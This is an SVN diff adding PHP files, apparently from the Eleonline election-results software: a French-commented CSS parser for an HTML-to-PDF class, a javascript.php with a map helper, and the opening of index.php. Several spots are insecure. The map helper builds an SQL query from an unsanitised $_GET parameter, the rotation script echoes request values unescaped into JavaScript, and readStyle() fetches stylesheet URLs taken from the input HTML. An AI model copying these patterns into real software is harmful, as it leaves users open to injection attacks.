+						break;
+				
+					case 'padding':
+						$val = explode(' ', $val);
+						foreach($val as $k => $v)
+						{
+							$v = trim($v);
+							if ($v!='') $val[$k] = $v;
+							else	unset($val[$k]);
+						}
+						$val = array_values($val);
+						if (count($val)!=4)
+						{
+							$val = $this->ConvertToMM($val[0], 0);
+							$this->value['padding']['t'] = $val;
+							$this->value['padding']['r'] = $val;
+							$this->value['padding']['b'] = $val;
+							$this->value['padding']['l'] = $val;
+						}
+						else
+						{
+							$this->value['padding']['t'] = $this->ConvertToMM($val[0], 0);
+							$this->value['padding']['r'] = $this->ConvertToMM($val[1], 0);
+							$this->value['padding']['b'] = $this->ConvertToMM($val[2], 0);
+							$this->value['padding']['l'] = $this->ConvertToMM($val[3], 0);							
+						}
+						break;
+						
+					case 'padding-top':
+						$this->value['padding']['t'] = $this->ConvertToMM($val, 0);
+						break;
+
+					case 'padding-right':
+						$this->value['padding']['r'] = $this->ConvertToMM($val, 0);
+						break;
+
+					case 'padding-bottom':
+						$this->value['padding']['b'] = $this->ConvertToMM($val, 0);
+						break;
+
+					case 'padding-left':
+						$this->value['padding']['l'] = $this->ConvertToMM($val, 0);
+						break;
+												
+					case 'margin':
+						if ($val=='auto')
+						{
+							$this->value['margin-auto'] = true;
+							break;	
+						}
+						$val = explode(' ', $val);
+						foreach($val as $k => $v)
+						{
+							$v = trim($v);
+							if ($v!='') $val[$k] = $v;
+							else	unset($val[$k]);
+						}
+						$val = array_values($val);
+						if (count($val)!=4)
+						{
+							$val = $this->ConvertToMM($val[0], 0);
+							$this->value['margin']['t'] = $val;
+							$this->value['margin']['r'] = $val;
+							$this->value['margin']['b'] = $val;
+							$this->value['margin']['l'] = $val;
+						}
+						else
+						{
+							$this->value['margin']['t'] = $this->ConvertToMM($val[0], 0);
+							$this->value['margin']['r'] = $this->ConvertToMM($val[1], 0);
+							$this->value['margin']['b'] = $this->ConvertToMM($val[2], 0);
+							$this->value['margin']['l'] = $this->ConvertToMM($val[3], 0);							
+						}
+						break;
+						
+					case 'margin-top':
+						$this->value['margin']['t'] = $this->ConvertToMM($val, 0);
+						break;
+
+					case 'margin-right':
+						$this->value['margin']['r'] = $this->ConvertToMM($val, 0);
+						break;
+
+					case 'margin-bottom':
+						$this->value['margin']['b'] = $this->ConvertToMM($val, 0);
+						break;
+
+					case 'margin-left':
+						$this->value['margin']['l'] = $this->ConvertToMM($val, 0);
+						break;
+	
+					case 'border':
+						$val = $this->readBorder($val);
+						$this->value['border']['t'] = $val;
+						$this->value['border']['r'] = $val;
+						$this->value['border']['b'] = $val;
+						$this->value['border']['l'] = $val;
+						break;
+						
+					case 'border-style':
+						$val = explode(' ', $val);
+						foreach($val as $val_k => $val_v)
+							if (!in_array($val_v, array('solid', 'dotted', 'dashed')))
+								$val[$val_k] = null; 
+						$this->duplicateBorder($val);
+						
+						if ($val[0]) $this->value['border']['t']['type'] = $val[0];
+						if ($val[1]) $this->value['border']['r']['type'] = $val[1];
+						if ($val[2]) $this->value['border']['b']['type'] = $val[2];
+						if ($val[3]) $this->value['border']['l']['type'] = $val[3];
+						break;
+
+					case 'border-top-style':
+						if (in_array($val, array('solid', 'dotted', 'dashed'))) 
+							$this->value['border']['t']['type'] = $val;
+						break;
+
+					case 'border-right-style':
+						if (in_array($val, array('solid', 'dotted', 'dashed'))) 
+							$this->value['border']['r']['type'] = $val;
+						break;
+
+					case 'border-bottom-style':
+						if (in_array($val, array('solid', 'dotted', 'dashed'))) 
+							$this->value['border']['b']['type'] = $val;
+						break;
+
+					case 'border-left-style':
+						if (in_array($val, array('solid', 'dotted', 'dashed'))) 
+							$this->value['border']['l']['type'] = $val;
+						break;
+
+					case 'border-color':
+						$res = false;
+						$val = preg_replace('/,[\s]+/', ',', $val); 
+						$val = explode(' ', $val);
+
+						foreach($val as $val_k => $val_v)
+						{
+								$val[$val_k] = $this->ConvertToRVB($val_v, $res);
+								if (!$res) $val[$val_k] = null;
+						}
+						$this->duplicateBorder($val);
+
+						if (is_array($val[0])) $this->value['border']['t']['color'] = $val[0];
+						if (is_array($val[1])) $this->value['border']['r']['color'] = $val[1];
+						if (is_array($val[2])) $this->value['border']['b']['color'] = $val[2];
+						if (is_array($val[3])) $this->value['border']['l']['color'] = $val[3];
+						
+						break;
+
+					case 'border-top-color':
+						$res = false;
+						$val = $this->ConvertToRVB($val, $res); 
+						if ($res) $this->value['border']['t']['color'] = $val;
+						break;
+
+					case 'border-right-color':
+						$res = false;
+						$val = $this->ConvertToRVB($val, $res); 
+						if ($res) $this->value['border']['r']['color'] = $val;
+						break;
+
+					case 'border-bottom-color':
+						$res = false;
+						$val = $this->ConvertToRVB($val, $res); 
+						if ($res) $this->value['border']['b']['color'] = $val;
+						break;
+
+					case 'border-left-color':
+						$res = false;
+						$val = $this->ConvertToRVB($val, $res); 
+						if ($res) $this->value['border']['l']['color'] = $val;
+						break;
+						
+					case 'border-width':
+						$val = explode(' ', $val);
+						foreach($val as $val_k => $val_v)
+						{
+								$val[$val_k] = $this->ConvertToMM($val_v, 0);
+						}
+						$this->duplicateBorder($val);
+						
+						if ($val[0]) $this->value['border']['t']['width'] = $val[0];
+						if ($val[1]) $this->value['border']['r']['width'] = $val[1];
+						if ($val[2]) $this->value['border']['b']['width'] = $val[2];
+						if ($val[3]) $this->value['border']['l']['width'] = $val[3];
+						break;
+
+					case 'border-top-width':
+						$val = $this->ConvertToMM($val, 0);; 
+						if ($val) $this->value['border']['t']['width'] = $val;
+						break;
+
+					case 'border-right-width':
+						$val = $this->ConvertToMM($val, 0);; 
+						if ($val) $this->value['border']['r']['width'] = $val;
+						break;
+
+					case 'border-bottom-width':
+						$val = $this->ConvertToMM($val, 0);; 
+						if ($val) $this->value['border']['b']['width'] = $val;
+						break;
+
+					case 'border-left-width':
+						$val = $this->ConvertToMM($val, 0);; 
+						if ($val) $this->value['border']['l']['width'] = $val;
+						break;
+											
+					case 'border-collapse':
+						if ($balise=='table') $this->value['border']['collapse'] = ($val=='collapse');
+						break;
+						
+					case 'border-radius':
+						// nettoyage des valeurs
+						$val = explode(' ', $val);
+						foreach($val as $k => $v)
+						{
+							$v = trim($v);
+							if ($v)
+							{
+								$v = $this->ConvertToMM($v, 0);
+								if ($v) $val[$k] = $v;
+								else	unset($val[$k]);
+							}
+							else	unset($val[$k]);	
+						}
+						$val = array_values($val);
+						
+						if (!isset($val[1]) && isset($val[0])) $val[1] = $val[0];
+						if (count($val)==2)
+							$this->value['border']['radius'] = array($val[0], $val[1]);
+
+						break;
+						
+					case 'border-top':
+						$this->value['border']['t'] = $this->readBorder($val);
+						break;
+
+					case 'border-right':
+						$this->value['border']['r'] = $this->readBorder($val);
+						break;
+
+					case 'border-bottom':
+						$this->value['border']['b'] = $this->readBorder($val);
+						break;
+
+					case 'border-left':
+						$this->value['border']['l'] = $this->readBorder($val);
+						break;
+					
+					case 'background-color':
+						$this->value['background']['color'] = $this->ConvertBackgroundColor($val);
+						break;
+
+					case 'background-image':
+						$this->value['background']['image'] = $this->ConvertBackgroundImage($val);
+						break;
+
+					case 'background-position':
+						$res = null;
+						$this->value['background']['position'] = $this->ConvertBackgroundPosition($val, $res);
+						break;
+
+					case 'background-repeat':
+						$this->value['background']['repeat'] = $this->ConvertBackgroundRepeat($val);
+						break;
+
+					case 'background':
+						$this->ConvertBackground($val, $this->value['background']);
+						break;
+
+					case 'position':
+						if ($val=='absolute')		$this->value['position'] = 'absolute';
+						else if ($val=='relative')	$this->value['position'] = 'relative';
+						else						$this->value['position'] = null;
+						break;
+
+					case 'float':
+						if ($val=='left')			$this->value['float'] = 'left';
+						else if ($val=='right')		$this->value['float'] = 'right';
+						else						$this->value['float'] = null;
+						break;
+
+					case 'display':
+						if ($val=='inline')			$this->value['display'] = 'inline';
+						else if ($val=='block')		$this->value['display'] = 'block';
+						else if ($val=='none')		$this->value['display'] = 'none';
+						else						$this->value['display'] = null;
+						break;
+											
+					case 'top':
+					case 'bottom':
+					case 'left':
+					case 'right':
+						$this->value[$nom] = $val;
+						break;
+
+					case 'list-style':
+					case 'list-style-type':
+					case 'list-style-image':
+						if ($nom=='list-style') $nom = 'list-style-type';
+						$this->value[$nom] = $val;
+						break;
+				
+					default:
+						break;	
+				}				
+			}
+
+			// correction de la largeur pour correspondre au modèle de boite quick
+			if ($correct_width)
+			{
+				if (!in_array($balise, array('table', 'div', 'hr')))
+				{
+					$this->value['width']-= $this->value['padding']['l'] + $this->value['padding']['r'];
+					$this->value['width']-= $this->value['border']['l']['width'] + $this->value['border']['r']['width'];
+				}
+				if (in_array($balise, array('th', 'td')))
+				{
+					$this->value['width']-= $this->ConvertToMM(isset($param['cellspacing']) ? $param['cellspacing'] : '2px');
+				}
+				if ($this->value['width']<0) $this->value['width']=0;
+			}
+			else
+			{
+				if ($this->value['width'])
+				{
+					if ($this->value['border']['l']['width'])	$this->value['width']	+= $this->value['border']['l']['width'];
+					if ($this->value['border']['r']['width'])	$this->value['width']	+= $this->value['border']['r']['width'];			
+					if ($this->value['padding']['l'])			$this->value['width']	+= $this->value['padding']['l'];
+					if ($this->value['padding']['r'])			$this->value['width']	+= $this->value['padding']['r'];
+				}		
+			}
+			if ($this->value['height'])
+			{
+				if ($this->value['border']['b']['width']) { $this->value['height']	+= $this->value['border']['b']['width']; }
+				if ($this->value['border']['t']['width']) { $this->value['height']	+= $this->value['border']['t']['width']; }
+				if ($this->value['padding']['b'])			$this->value['height']	+= $this->value['padding']['b'];
+				if ($this->value['padding']['t'])			$this->value['height']	+= $this->value['padding']['t'];		
+			}			
+			
+			if ($this->value['top']!=null)		$this->value['top']		= $this->ConvertToMM($this->value['top'],		$this->getLastHeight(true));
+			if ($this->value['bottom']!=null)	$this->value['bottom']	= $this->ConvertToMM($this->value['bottom'],	$this->getLastHeight(true));
+			if ($this->value['left']!=null)		$this->value['left']	= $this->ConvertToMM($this->value['left'],		$this->getLastWidth(true));
+			if ($this->value['right']!=null)	$this->value['right']	= $this->ConvertToMM($this->value['right'],		$this->getLastWidth(true));
+			
+			if ($this->value['top'] && $this->value['bottom'] && $this->value['height'])	$this->value['bottom']	= null;
+			if ($this->value['left'] && $this->value['right'] && $this->value['width'])		$this->value['right']	= null;
+		}
+		
+ 		/**
+		 * Récupération de la hauteur de ligne courante
+		 *
+		 * @return	float	hauteur en mm
+		 */
+		function getLineHeight()
+		{
+			$val = $this->value['line-height'];
+			if ($val=='normal') $val = '108%';
+			return $this->ConvertToMM($val, $this->value['font-size']);
+		}
+		
+ 		/**
+		 * Récupération de la largeur de l'objet parent
+		 *
+		 * @return	float	largeur
+		 */
+		function getLastWidth($mode = false)
+		{
+			for($k=count($this->table); $k>0; $k--)
+			{
+				if ($this->table[$k-1]['width'])
+				{
+					$w = $this->table[$k-1]['width'];
+					if ($mode)
+					{
+						$w+= $this->table[$k-1]['border']['l']['width'] + $this->table[$k-1]['padding']['l']+0.02;
+						$w+= $this->table[$k-1]['border']['r']['width'] + $this->table[$k-1]['padding']['r']+0.02;
+					}
+					return $w;
+				}
+			}
+			return $this->pdf->w - $this->pdf->lMargin - $this->pdf->rMargin;
+		}
+
+ 		/**
+		 * Récupération de la hauteur de l'objet parent
+		 *
+		 * @return	float	hauteur
+		 */
+		function getLastHeight($mode = false)
+		{
+			for($k=count($this->table); $k>0; $k--)
+			{
+				if ($this->table[$k-1]['height'])
+				{
+					$h = $this->table[$k-1]['height'];
+					if ($mode)
+					{
+						$h+= $this->table[$k-1]['border']['t']['width'] + $this->table[$k-1]['padding']['t']+0.02;
+						$h+= $this->table[$k-1]['border']['b']['width'] + $this->table[$k-1]['padding']['b']+0.02;
+					}
+					return $h;
+				}
+			}
+			return $this->pdf->h - $this->pdf->tMargin - $this->pdf->bMargin;
+		}
+		
+		function getFloat()
+		{
+			if ($this->value['float']=='left')	return 'left';
+			if ($this->value['float']=='right')	return 'right';
+			return null;
+		}
+				
+		function getLastAbsoluteX()
+		{
+			for($k=count($this->table); $k>0; $k--)
+			{
+				if ($this->table[$k-1]['x'] && $this->table[$k-1]['position']) return $this->table[$k-1]['x'];
+			}
+			return $this->pdf->lMargin;
+		}
+		
+		function getLastAbsoluteY()
+		{
+			for($k=count($this->table); $k>0; $k--)
+			{
+				if ($this->table[$k-1]['y'] && $this->table[$k-1]['position']) return $this->table[$k-1]['y'];
+			}
+			return $this->pdf->tMargin;
+		}
+		
+		/**
+		 * Récupération des propriétés CSS de la balise en cours
+		 *
+		 * @return	array()		tableau des propriétés CSS
+		 */		
+		function getFromCSS()
+		{
+			$styles	= array();	// style à appliquer
+			$getit	= array();	// styles à récuperer
+
+			// identification des styles direct, et ceux des parents
+			$lst = array();
+			$lst[] = $this->value['id_lst'];
+			for($i=count($this->table)-1; $i>=0; $i--) $lst[] = $this->table[$i]['id_lst'];
+
+			// identification des styles à récuperer
+			foreach($this->css_keys as $key => $num)
+				if ($this->getReccursiveStyle($key, $lst))
+					$getit[$key] = $num;
+
+			// si des styles sont à recuperer
+			if (count($getit))
+			{
+				// on les récupère, mais dans l'odre de définition, afin de garder les priorités
+				asort($getit);
+				foreach($getit as $key => $val) $styles = array_merge($styles, $this->css[$key]);				
+			}
+			
+			return $styles;	
+		}
+		
+		/**
+		 * Identification des styles à récuperer, en fonction de la balise et de ses parents
+		 *
+		 * @param	string		clef CSS à analyser
+		 * @param	array()		tableau des styles direct, et ceux des parents
+		 * @param	string		prochaine etape
+		 * @return	boolean		clef autorisée ou non
+		 */
+		function getReccursiveStyle($key, $lst, $next = null)
+		{
+			// si propchaine etape, on construit les valeurs
+			if ($next!==null)
+			{
+				if ($next) $key = trim(substr($key, 0, -strlen($next))); // on elève cette etape
+				unset($lst[0]);
+				if (!count($lst)) return false; // pas d'etape possible
+				$lst = array_values($lst);
+			}
+			
+			// pour chaque style direct possible de l'etape en cours
+			foreach($lst[0] as $nom)
+			{
+				if ($key==$nom) return true; // si la clef conrrespond => ok
+				if (substr($key, -strlen(' '.$nom))==' '.$nom && $this->getReccursiveStyle($key, $lst, $nom)) return true; // si la clef est la fin, on analyse ce qui précède
+			}
+
+			// si on est pas à la premiere etape, on doit analyse toutes les sous etapes			
+			if ($next!==null && $this->getReccursiveStyle($key, $lst, '')) return true;
+		
+			// aucun style trouvé	
+			return false;	
+		}
+		
+		/**
+		 * Analyse d'une propriété Border
+		 *
+		 * @param	string		propriété border
+		 * @return	array()		propriété décodée
+		 */
+		function readBorder($val)
+		{
+			$none = array('type' => 'none', 'width' => 0, 'color' => array(0, 0, 0));
+
+			// valeurs par défault
+			$type	= 'solid';
+			$width	= $this->ConvertToMM('1pt');
+			$color	= array(0, 0, 0);
+
+			// nettoyage des valeurs
+			$val = explode(' ', $val);
+			foreach($val as $k => $v)
+			{
+				$v = trim($v);
+				if ($v)	$val[$k] = $v;
+				else	unset($val[$k]);	
+			}
+			$val = array_values($val);
+			// identification des valeurs
+			$res = null;
+			foreach($val as $key)
+			{
+				if ($key=='none' || $key=='hidden') return $none;
+				
+				if ($this->ConvertToMM($key)!==null)							$width = $this->ConvertToMM($key);	
+				else if (in_array($key, array('solid', 'dotted', 'dashed')))	$type = $key;	
+				else
+				{
+					$tmp = $this->ConvertToRVB($key, $res);
+					if ($res) $color = $tmp;
+				}
+			}
+			if (!$width) return $none;
+			return array('type' => $type, 'width' => $width, 'color' => $color);
+		}
+		
+		function duplicateBorder(&$val)
+		{
+			if (count($val)==1)
+			{
+				$val[1] = $val[0];
+				$val[2] = $val[0];
+				$val[3] = $val[0];
+			}
+			else if (count($val)==2)
+			{
+				$val[2] = $val[0];
+				$val[3] = $val[1];
+			}
+			else if (count($val)==3)
+			{
+				$val[3] = $val[1];
+			}
+		}
+
+		function ConvertBackground($stl, &$res)
+		{
+			// Image
+			$text = '/url\(([^)]*)\)/isU';
+			if (preg_match($text, $stl, $match))
+			{
+				$res['image'] = $this->ConvertBackgroundImage($match[0]);				
+				$stl = preg_replace($text, '', $stl);
+				$stl = preg_replace('/[\s]+/', ' ', $stl);
+			}
+			
+			// protection des espaces 
+			$stl = preg_replace('/,[\s]+/', ',', $stl); 
+			$lst = explode(' ', $stl);
+			
+			$pos = '';
+			foreach($lst as $val)
+			{
+				$ok = false;
+				$color = $this->ConvertToRVB($val, $ok);
+				
+				if ($ok)
+				{
+					$res['color'] = $color;
+				}
+				else if ($val=='transparent')
+				{
+					$res['color'] = null;
+				}
+				else
+				{
+					$repeat = $this->ConvertBackgroundRepeat($val);
+					if ($repeat)
+					{
+						$res['repeat'] = $repeat;
+					}
+					else
+					{
+						$pos.= ($pos ? ' ' : '').$val;
+					}
+				}
+			}
+			if ($pos)
+			{
+				$pos = $this->ConvertBackgroundPosition($pos, $ok);
+				if ($ok) $res['position'] = $pos;
+			}
+		}
+
+		function ConvertBackgroundColor($val)
+		{
+			$res = null;
+			if ($val=='transparent')	return null;
+			else						return $this->ConvertToRVB($val, $res);
+		}
+
+		function ConvertBackgroundImage($val)
+		{
+			if ($val=='none')
+				return null;
+			else if (preg_match('/^url\(([^)]*)\)$/isU', $val, $match))
+				return $match[1];
+			else
+				return null;
+		}
+		
+		function ConvertBackgroundPosition($val, &$res)
+		{
+			$val = explode(' ', $val);
+			if (count($val)<2)
+			{
+				if (!$val[0]) return null;
+				$val[1] = 'center';
+			}
+			if (count($val)>2) return null;
+
+			$x = 0;
+			$y = 0;
+			$res = true;
+			
+			if ($val[0]=='left')		$x = '0%';
+			else if ($val[0]=='center')	$x = '50%';
+			else if ($val[0]=='right')	$x = '100%';
+			else if ($val[0]=='top')	$y = '0%';
+			else if ($val[0]=='bottom')	$y = '100%';
+			else if (preg_match('/^[-]?[0-9\.]+%$/isU',	$val[0])) $x = $val[0];
+			else if ($this->ConvertToMM($val[0])) $x = $this->ConvertToMM($val[0]);
+			else $res = false;
+			
+			if ($val[1]=='left')		$x = '0%';
+			else if ($val[1]=='right')	$x = '100%';
+			else if ($val[1]=='top')	$y = '0%';
+			else if ($val[1]=='center')	$y = '50%';
+			else if ($val[1]=='bottom')	$y = '100%';
+			else if (preg_match('/^[-]?[0-9\.]+%$/isU',	$val[1])) $y = $val[1];
+			else if ($this->ConvertToMM($val[1])) $y = $this->ConvertToMM($val[1]);
+			else $res = false;
+
+			$val[0] = $x;
+			$val[1] = $y;
+			
+			return $val;	
+		}
+		
+ 		function ConvertBackgroundRepeat($val)
+		{
+			switch($val)
+			{
+				case 'repeat':
+					return array(true, true);
+				case 'repeat-x':
+					return array(true, false);
+				case 'repeat-y':
+					return array(false, true);
+				case 'no-repeat':
+					return array(false, false);
+			}
+			return null;
+		}
+ 		/**
+		 * Convertir une longueur en mm
+		 *
+		 * @param	string			longueur, avec unité, à convertir
+		 * @param	float			longueur du parent
+		 * @return	float			longueur exprimée en mm
+		 */	
+		function ConvertToMM($val, $old=0.)
+		{
+			$val = trim($val);
+			if (preg_match('/^[0-9\.\-]+$/isU', $val))			$val.= 'px';
+			if (preg_match('/^[0-9\.\-]+px$/isU', $val))		$val = 25.4/96. * str_replace('px', '', $val);
+			else if (preg_match('/^[0-9\.\-]+pt$/isU', $val))	$val = 25.4/72. * str_replace('pt', '', $val);
+			else if (preg_match('/^[0-9\.\-]+in$/isU', $val))	$val = 25.4 * str_replace('in', '', $val);
+			else if (preg_match('/^[0-9\.\-]+mm$/isU', $val))	$val = 1.*str_replace('mm', '', $val);
+			else if (preg_match('/^[0-9\.\-]+%$/isU', $val))	$val = 1.*$old*str_replace('%', '', $val)/100.;
+			else												$val = null;	
+
+			return $val;
+		}
+		
+ 		/**
+		 * Décomposition d'un code couleur HTML
+		 *
+		 * @param	string			couleur au format CSS
+		 * @return	array(r, v, b)	couleur exprimé par ses comporantes R, V, B, de 0 à 255.
+		 */	
+		function ConvertToRVB($val, &$res)
+		{
+			$val = trim($val);
+			$res = true;
+				
+			if (strtolower($val)=='transparent') return array(null, null, null);
+			if (isset($this->htmlColor[strtolower($val)])) $val = $this->htmlColor[strtolower($val)];
+			
+			if (preg_match('/rgb\([\s]*([0-9%]+)[\s]*,[\s]*([0-9%]+)[\s]*,[\s]*([0-9%]+)[\s]*\)/isU', $val, $match))
+			{
+				$r =$match[1]; if (substr($r, -1)=='%') $r = floor(255*substr($r, 0, -1)/100);
+				$v =$match[2]; if (substr($v, -1)=='%') $v = floor(255*substr($v, 0, -1)/100);
+				$b =$match[3]; if (substr($b, -1)=='%') $b = floor(255*substr($b, 0, -1)/100);
+			}
+			else if (strlen($val)==7 && substr($val, 0, 1)=='#')
+			{
+				$r = hexdec(substr($val, 1, 2));
+				$v = hexdec(substr($val, 3, 2));
+				$b = hexdec(substr($val, 5, 2));
+			}
+			else if (strlen($val)==4 && substr($val, 0, 1)=='#')
+			{
+				$r = hexdec(substr($val, 1, 1).substr($val, 1, 1));
+				$v = hexdec(substr($val, 2, 1).substr($val, 2, 1));
+				$b = hexdec(substr($val, 3, 1).substr($val, 3, 1));
+			}
+			else
+			{
+				$r=0;
+				$v=0;
+				$b=0;
+				$res = false;
+			}
+			return array(floor($r), floor($v), floor($b));	
+		}
+		
+		/**
+		 * Analyser une feuille de style
+		 *
+		 * @param	string			code CSS
+		 * @return	null
+		 */	
+		function analyseStyle(&$code)
+		{
+			// on remplace tous les espaces, tab, \r, \n, par des espaces uniques
+			$code = preg_replace('/[\s]+/', ' ', $code);
+
+			// on enlève les commentaires
+			$code = preg_replace('/\/\*.*?\*\//s', '', $code);
+
+			// on analyse chaque style
+			preg_match_all('/([^{}]+){([^}]*)}/isU', $code, $match);
+			for($k=0; $k<count($match[0]); $k++)
+			{
+				// noms
+				$noms	= strtolower(trim($match[1][$k]));
+				
+				// style, séparé par des; => on remplie le tableau correspondant
+				$styles	= trim($match[2][$k]);
+				$styles = explode(';', $styles);
+				$stl = array();
+				foreach($styles as $style)
+				{
+					$tmp = explode(':', $style);
+					if (count($tmp)>1)
+					{
+						$cod = $tmp[0]; unset($tmp[0]); $tmp = implode(':', $tmp); 
+						$stl[trim(strtolower($cod))] = trim($tmp);
+					}
+				}
+				
+				// décomposition des noms par les ,
+				$noms = explode(',', $noms);
+				foreach($noms as $nom)
+				{
+					$nom = trim($nom);
+					// Si il a une fonction spécifique, comme :hover => on zap
+					if (strpos($nom, ':')!==false) continue;
+					if (!isset($this->css[$nom]))
+						$this->css[$nom] = $stl;
+					else
+						$this->css[$nom] = array_merge($this->css[$nom], $stl);
+					
+				}
+			}
+			
+			$this->css_keys = array_flip(array_keys($this->css));
+		}
+		
+		/**
+		 * Extraction des feuille de style du code HTML
+		 *
+		 * @param	string			code HTML
+		 * @return	null
+		 */	
+		function readStyle(&$html)
+		{
+			$style = ' ';
+
+			// extraction des balises link, et suppression de celles-ci dans le code HTML
+			preg_match_all('/<link([^>]*)>/isU', $html, $match);
+			$html = preg_replace('/<link[^>]*>/isU',	'', $html);			
+			$html = preg_replace('/<\/link[^>]*>/isU',	'', $html);
+			
+			// analyse de chaque balise
+			foreach($match[1] as $code)
+			{
+				$tmp = array();
+				// lecture des paramétres du type nom=valeur
+				$prop = '([a-zA-Z0-9_]+)=([^"\'\s>]+)';
+				preg_match_all('/'.$prop.'/is', $code, $match);
+				for($k=0; $k<count($match[0]); $k++)
+					$tmp[trim(strtolower($match[1][$k]))] = trim($match[2][$k]);
+	
+				// lecture des paramétres du type nom="valeur"
+				$prop = '([a-zA-Z0-9_]+)=["]([^"]*)["]';
+				preg_match_all('/'.$prop.'/is', $code, $match);
+				for($k=0; $k<count($match[0]); $k++)
+					$tmp[trim(strtolower($match[1][$k]))] = trim($match[2][$k]);
+	
+				// lecture des paramétres du type nom='valeur'
+				$prop = "([a-zA-Z0-9_]+)=[']([^']*)[']";
+				preg_match_all('/'.$prop.'/is', $code, $match);
+				for($k=0; $k<count($match[0]); $k++)
+					$tmp[trim(strtolower($match[1][$k]))] = trim($match[2][$k]);
+
+				// si de type text/css => on garde
+				if (isset($tmp['type']) && strtolower($tmp['type'])=='text/css' && isset($tmp['href']))
+				{
+					$content = @file_get_contents($tmp['href']);
+					$url = $tmp['href'];
+					if (strpos($url, 'http://')!==false)
+					{
+						$url = str_replace('http://', '', $url);
+						$url = explode('/', $url);
+						$url_main = 'http://'.$url[0].'/';
+						$url_self = $url; unset($url_self[count($url_self)-1]); $url_self = 'http://'.implode('/', $url_self).'/';
+
+						$content = preg_replace('/url\(([^\\\\][^)]*)\)/isU', 'url('.$url_self.'$1)', $content);
+						$content = preg_replace('/url\((\\\\[^)]*)\)/isU', 'url('.$url_main.'$1)', $content);
+					}
+
+					$style.= $content."\n";
+				}
+			}
+
+
+			// extraction des balises style, et suppression de celles-ci dans le code HTML
+			preg_match_all('/<style[^>]*>(.*)<\/style[^>]*>/isU', $html, $match);
+			$html = preg_replace('/<style[^>]*>(.*)<\/style[^>]*>/isU', '', $html);			
+
+			// analyse de chaque balise
+			foreach($match[1] as $code)
+			{
+				$code = str_replace('<!--', '', $code);
+				$code = str_replace('-->', '', $code);
+				$style.= $code."\n";
+			} 
+			
+			$this->analyseStyle($style);
+		}
+	}
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/javascript.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/javascript.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/javascript.php	(revision 44)
@@ -0,0 +1,124 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+		
+if (stristr(htmlentities($_SERVER['PHP_SELF']), "javascript.php")) {
+    Header("Location: ../index.php");
+    die();
+}
+
+##################################################
+# Include funzioni javascript                    #
+##################################################
+
+# inizio rotazione
+if (isset($_SESSION['ruota'])) 
+{ 
+?>
+		<script type="text/javascript" language="javascript">
+<!--
+function loadpage() {
+
+thetimer = setTimeout("changepage()", 8000);
+
+
+}
+
+function changepage() {
+
+newlocation = "<?php echo "modules.php?csv=1&block=0&id_cons_gen=".$_GET['id_cons_gen']."&id_comune=".$_GET['id_comune']; ?>"
+location = newlocation
+}
+// --></script> 
+
+<?php
+}
+# fine rotazione
+# googlemaps per sezioni
+# variabili nel config.php 
+# gkey= chiave google reperibile per il proprio sito qui 
+# http://code.google.com/intl/it/apis/maps/signup.html
+# googlemaps 1=attivo 2: disattivo
+# funzione by eleonline.it
+#########################################################
+
+function googlemaps(){
+global $dbi,$prefix,$id_comune,$googlemaps,$op,$gkey,$lang;
+# recupera gli inidirizzi
+    $id_sede=$_GET['id_sede'];
+    $sql = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi); 
+    list($comune) = mysql_fetch_row($sql);
+    $sql = mysql_query("select indirizzo from ".$prefix."_ele_sede where id_sede='$id_sede'", $dbi);
+    list($indirizzo)=mysql_fetch_row($sql);
+    $indirizzocomune="$indirizzo , $comune , $lang";
+# javascript per mappa
+$jsmaps ="
+    <div id=\"mapsearch\" style=\"margin:0 auto 0;\">
+    <span style=\"color:#676767;font-size:11px;margin:10px;padding:4px;\">Loading...</span>
+    </div>
+
+  
+  <script src=\"http://maps.google.com/maps?file=api&amp;v=2&amp;key=$gkey\"
+    type=\"text/javascript\"></script>
+  <script src=\"http://www.google.com/uds/api?file=uds.js&v=1.0&source=uds-msw&key=$gkey\"
+    type=\"text/javascript\"></script>
+  <style type=\"text/css\">
+    @import url(\"http://www.google.com/uds/css/gsearch.css\");
+  </style>
+  <script type=\"text/javascript\">
+    window._uds_msw_donotrepair = true;
+  </script>
+  <script src=\"http://www.google.com/uds/solutions/mapsearch/gsmapsearch.js?mode=new\"
+    type=\"text/javascript\"></script>
+  <style type=\"text/css\">
+    @import url(\"http://www.google.com/uds/solutions/mapsearch/gsmapsearch.css\");
+  </style>
+
+  <style type=\"text/css\">
+    .gsmsc-mapDiv {
+      height : 350px;
+    }
+
+    .gsmsc-idleMapDiv {
+      height : 350px;
+    }
+
+    #mapsearch {
+      width : 450px;
+      margin: 10px;
+      padding: 4px;
+    }
+  </style>
+  <script type=\"text/javascript\">
+    function LoadMapSearchControl() {
+
+      var options = {
+            zoomControl : GSmapSearchControl.ZOOM_CONTROL_ENABLE_ALL,
+            title : \"$indirizzo\",
+            url : \"http://www.eleonline.it\",
+            idleMapZoom : GSmapSearchControl.ACTIVE_MAP_ZOOM+1,
+            activeMapZoom : GSmapSearchControl.ACTIVE_MAP_ZOOM+1
+            }
+
+      new GSmapSearchControl(
+            document.getElementById(\"mapsearch\"),
+            \"$indirizzocomune\",
+            options
+            );
+
+    }
+    
+    GSearch.setOnLoadCallback(LoadMapSearchControl);
+  </script>
+
+        <center>";    
+
+return $jsmaps;
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/index.php
===================================================================
--- /trunk/elezioni/trunk/client/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/index.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/*
+
+Tipo di consultazioni predefinite
+1 = Provinciali  
+2 = Referendum
+3 = Comunali
+4 = Circoscrizionali
+5 = Ballottaggio
+6 = Camera proporzionali con preferenze
+7 = Senato senza raggruppamenti
+8 = Europee
+9 = Regionali
+10= Senato con raggruppamenti
+11= Camera prop. con gruppi senz preferenze
+
+Genere di consultazione
+0= Referendum
+1= Ballottaggio
+2= Liste (uninominali)
+3= Raggruppamenti
+4= Liste e preferenze ai candidati
+5= Raggruppamenti, liste e preferenze ai candidati
+
+
+*/
+
